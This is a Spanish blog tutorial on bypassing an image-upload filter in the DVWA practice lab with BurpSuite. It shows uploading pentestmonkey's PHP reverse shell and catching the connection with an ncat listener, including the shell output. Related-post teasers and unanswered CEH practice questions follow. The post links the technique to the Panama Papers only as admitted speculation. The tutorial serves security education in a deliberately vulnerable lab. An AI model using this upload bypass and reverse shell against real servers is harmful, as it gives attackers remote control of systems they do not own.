No se han encontrado widgets en la barra lateral
Un Reverse Shell Web pudo ser la causa de los "Papeles de Panamá"Un Reverse Shell Web pudo ser la causa de los "Papeles de Panamá"

¿Recordáis unos abogados de Panamá que perdieron unos papeles? ¿Recordáis que tenían wordpress? ¿Recordáis que no tenían wordpress actualizado? Supongo que sí! Fue un caso bastante sonado, y aunque yo no tengo ni idea de cómo los hackers obtuvieron los famoso Papeles de Panamá, sí que sé que un servidor de wordpress, con un formulario de subida, y un php desactualizado puede ser fácilmente atacado por un Reverse Shell Web.

 

Si has seguido el tutorial de hacking / pentesting básico, seguro que estás pensando, o deberías estarlo, en BurpSuite. Sí señor, utilizas BurpSuite para cambiar los parámetros enviados al servidor y subes un fichero .php en lugar de un fichero .jpg. Pero…. todavía es peor!!! ¿Recuerdas el post de los Reverse Shell? ¿Que pasa si te suben un reverse shell en tu servidor? Pues que cuando lo ejecuten será como si estuvieran dentro de él.

Subiendo un .php para Reverse Shell a un servidor WEB

Lo primero que vamos a hacer es obtener un .php con el Reverse Shell, no hace falta ni que lo hagamos nosotros, que podríamos, nos lo bajamos directamente de: http://pentestmonkey.net/tools/web-shells/php-reverse-shell. En el caso de que el enlace no funcione tan solo tenemos que buscar pentestmonkey reverse shell php, y si no sale en primera posición estará en segunda.

Download del php-reverse-shell
De aquí nos bajamos el .php para el Reverse Shell.

Nos tendremos que bajar el fichero php-reverse-shell-1.0.tar.gz, y descomprimirlo en la carpeta de nuestra elección.

Contenido del fichero comprimido php-reverse-shell-1.0.tar.gz
Contenido del fichero comprimido php-reverse-shell-1.0.tar.gz

El fichero que vamos a usar para contagiar el servidor WEB es php-reverse-shell.php

Antes de usarlo tenemos que modificarlo, y informar nuestra IP y el puerto por el que queremos escuchar.

Fichero reverse shell.phphque nos indica los campos a modificar.
Es muy sencillo adivinar lo que se tiene que modificar.

Como se puede ver es muy sencillo saber lo que tenemos que modificar, los creadores del fichero ya nos lo indican. Tenemos que poner la IP y el puerto por el que vamos a estar escuchando. En nuestro caso la IP del ciberlaboratorio que hemos montado, donde corremos BurpSuite, DVWA… y usaremos el puerto 21225.

¿Pero qué servidor vamos a contaminar? No nos volvamos locos!!!! Esto no lo vamos a probar en un servidor de verdad. ¿Os acordáis del post Preparando nuestro ciberlaboratorio para jugar con los SQL Injection? En el instalamos un servidor WEB desarrollado expresamente para ser atacado:  DVWA. Pues es el que vamos a usar, el servidor WEB de nuestro Ciberlaboratorio, así que si no lo tienes instalado y quieres seguir los pasos, tendras que instalar DVWA, en el mismo Post lo explico paso a paso.

Para todos aquellos que han seguido el tutorial y ya tenéis DVWA: arranquemos los servicios que DVWA necesita.

[code language=”shell”]
service mysql start
service apache2 start
[/code]

Ya podemos visitar la URL de DVWA:

Cuadro de dialogo Upload Images en DVWA
Apartado de upload de DVWA

Una vez en DVWA tenemos que  cambiar el nivel de seguridad: trabajaremos con seguridad media, ya que con la mas baja es demasiado sencillo.

Como podemos ver, DVWA nos ofrece un formulario para subir imagenes. Este es el formulario que vamos a tener que romper para que nos permita subir nuestro .php en lugar de una imagen.

Probaremos de subir una imagen normal y corriente, para comprobar que no hay problemas con el formulario de DVWA, que los hay, muchas veces los hay. Si la imagen se sube bien tendríamos que ver algo parecido a:

Imagen subida ok a DVWA!

¿Qué problemas nos podemos encontrar al subir una imagen a DVWA? Pues principalmente dos:

  • La imagen es demasiado grande: Buscad una imagen de 5kb o menos y nos ahorramos problemas. Total es para hacer pruebas.
  • El directorio donde se suben las imágenes no tiene permisos de escritura. Este problema es muy común en las instalaciones de DVWA. para cambiarlos usad el comando:

    [code language=”shell”]
    chmod -R 775 /var/www/html/DVWA-master/hackable/uploads/
    [/code]

    Atención, que vuestro directorio de instalación de DVWA puede ser diferente, el mio es: DVWA-master.

Bueno, total, si hemos conseguido subir bien la imagen, ya podemos empezar a pensar en subir nuestra hoja .php engañando a DVWA.

Si lo intentamos así sin mas, DVWA se da cuenta y nos avisa.

Error que presenta DVWA cuando subimos un fichero que no es una imagen.
DVWA se da cuenta de que no queremos subir una imagen.

Usando BURPSuite para subir el fichero .php

Para subir el .php tenemos que modificar el diálogo entre el navegador y el servidor para engañarlo. Con este fin usaremos BURPSuite.

Con BURPSuite capturaremos el tráfico entre navegador y servidor y lo modificaremos. Si no os acordáis de cómo se configura el navegador y de como usar BURPSuite podeis mirar el post :jugando con los SQL Injection, mas concretamente cuando explico como se usa sqlmap.

Resumiendo, tenemos que cambiar el proxy del navegador, para que use el que usa BURPSuite, y en BURPSuite tenemos que ir al apartado intercept.

Configuración que dejamos en el proxy de nuestro navegador
Configurando el proxy de nuestro navegador.
Subiendo el fichero .php del reverse shell
Subida del fichero .php

Esta vez subimos nuestro fichero .php, pero si os fijais, le hemos incorporado la extensión .jpg para engañar al navegador y se crea que es un fichero de imagen. Cuando le demos al botón Upload, se enviaran los datos al servidor. Nosotros los veremos en BURPSuite.

Datos que captura BURPSuite del intento de subir un .php con DVWA
Vemos los datos capturados por BURPSuite, entre ellos el nombre del fichero.
Hemos cambiado la extensión del fichero

En la segunda imagen podemos ver que  la única modificación realizada ha sido quitar el .jpg de la extensión del fichero .php. En este momento ya hemos pasado la validación del navegador, y lo que le indicamos al servidor es como queremos que se guarde el fichero. Una vez modificada la extensión pulsamos el botón forward, y voila!

Mensaje de DVWA que nos muestra que el .php del reverse shell se ha subido correctamente
Ya tenemos el .php en el servidor

Como podemos ver, ya tenemos el fichero .php que usaremos para realizar el reverse shell en el servidor….

Creando el reverse shell para tomar el control del servidor.

Ahora ya podemos dejar DVWA y BurpSuite, ya hemos subido el fichero .php infectado al servidor víctima. Abrimos un terminal de Kali y nos ponemos a escuchar:

[code language=”shell”]
ncat -v -l -p 21225
[/code]

Con esto ya estaremos escuchando, por el puerto que le hemos indicado al fichero .php, ahora solo tenemos que visitar el fichero .php que hemos subido, en mi caso la URL a ejecutar es:
http://localhost/DVWA-master/hackable/uploads/php-reverse-shell.php

Tan pronto como ejecutemos el .php que hemos subido, el Reverse shell empezará a funcionar y podremos actuar como si estuviéramos dentro del servidor.

[code language=”shell”]
root@kali:~# ncat -v -l -p 21225
Ncat: Version 7.40 ( https://nmap.org/ncat )
Ncat: Listening on :::21225
Ncat: Listening on 0.0.0.0:21225
Ncat: Connection from 192.168.1.107.
Ncat: Connection from 192.168.1.107:57942.
Linux kali 4.9.0-kali3-amd64 #1 SMP Debian 4.9.13-1kali2 (2017-03-07) x86_64 GNU/Linux
18:33:16 up 18 min, 1 user, load average: 0,86, 0,65, 0,46
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty2 :0 18:16 18:30 1:56 0.86s leafpad
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can’t access tty; job control turned off
$ ls
0
bin
boot
dev
etc
[/code]

En este caso hemos entrado en nuestro servidor, usando un formulario de subida que conocemos. Parece que este ataque en el mundo real tendría que ser mucho más complicado. Pero no es así, es de los mas sencillos que hay. No tenemos que conocer nada del servidor. Bueno, sí, tiene que usar php, como todos los que tienen wordpress. No tiene que tener .php actualizado, como unos abogados de panamá que se hicieron famosos por perder unos cuantos papeles.

Este ataque se hace mayormente desde la máquina atacante. Manipulas tu navegador, usas BurpSuite en tu ordenador. Lo mas complicado es obtener una IP pública para configurar el fichero .php, pero es tan complicado que se tardan unos 10 minutos.

Este es un ataque muy usado. Si tienes un servidor WEB en el que permites la subida de ficheros, eres una posible víctima. No dudes en intentar atacarte, y  sobretodo, actualiza php.

Recordad que este post forma parte del tutorial de Hacking / Pen Testing Básico

Una introducción a uno de los clásicos de la ciberseguridad: los SQL Injection.
Orden SQL Injection

Si estás cansado de oír hablar de los SQL Injection pero nunca te ha quedado muy claro para qué servían... Read more

Buffer Overflow Para Negados. II-Parte. Ejecutando código del chungo.
Meme de Chuck Norris con los Obverflow

En esta segunda parte vamos a ver como se puede usar un stack overflow para ejecutar código malicioso. No quiere Read more

CEH 02 segundo test para el Certified Ethical Hacker

Segundo test conteniendo 10 preguntas para preparar la certificación oficial de Certified Ethical Hacker. El objetivo de este examen es ayudar ver si estas preparado a presentarte al CEH, pero sobretodo servir también como guia de estudio. Si no aciertas una pregunta busca el por que y entiendelo, no lo repitas, solo para saber cual es la respuesta correcta.

1. An Intrusion Detection System(IDS) has alerted the network administrator to a possibly malicious sequence of packets went to a Web server in the networks external DMZ. The packet traffic was captured by the IDS and saved to a PCAP file. What type of network tool can be used to determine if these packets are genuinely malicious or simply a false positive?

 
 
 
 

2. You are performing a penetration test. You achieved access via a buffer overflow exploit and you proceed to find interesting data, such as files with usernames and passwords. You find a hidden folder that has the administrators bank account password and login information for the administrators bitcoin account. What should you do?

 
 
 
 

3. You’ve just been hired to perform a pentest on an organization that has been subjected to a large-scale attack. The CIO is concerned with mitigating threats and vulnerabilities to totally eliminate risk. What is one of the first thing you should to when the job?

 
 
 
 

4. Which of the following best describes a distributed denial-of-service attack?

 
 
 
 

5. The Open Web Application Security Project (OWASP) is the worldwide not-for-profit charitable organization focused on improving the security of software. What item is the primary concern on OWASPs Top Ten Project most Critical Web application Security Rules?

 
 
 
 

6. Which of the following tools can be used to crack SAM files in Windows?

 
 
 
 

7. This phase is the very first step in Information Gathering, and it will tell you what the landscape looks like, and also  will increase the odds of success in later phases of the penetration test.  Most experts think that  is the most important phase of ethical hacking in which you need to spend a considerable amount of time. Can you name it?

 
 
 
 

8. Which of the following is the greatest threat posed by backups?

 
 
 
 

9. During a security audit of IT processes, an IS auditor found that there was no documented security procedures. What should the IS auditor do?

 
 
 
 

10. Which of the following is true regarding WEP cracking?

 
 
 
 

Que DDoS nos coja confesados.

Tumbar Internet: Lo que hace poco parecía un guión digno de una película de "serie B" empieza a verse como Read more

Por Martra

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *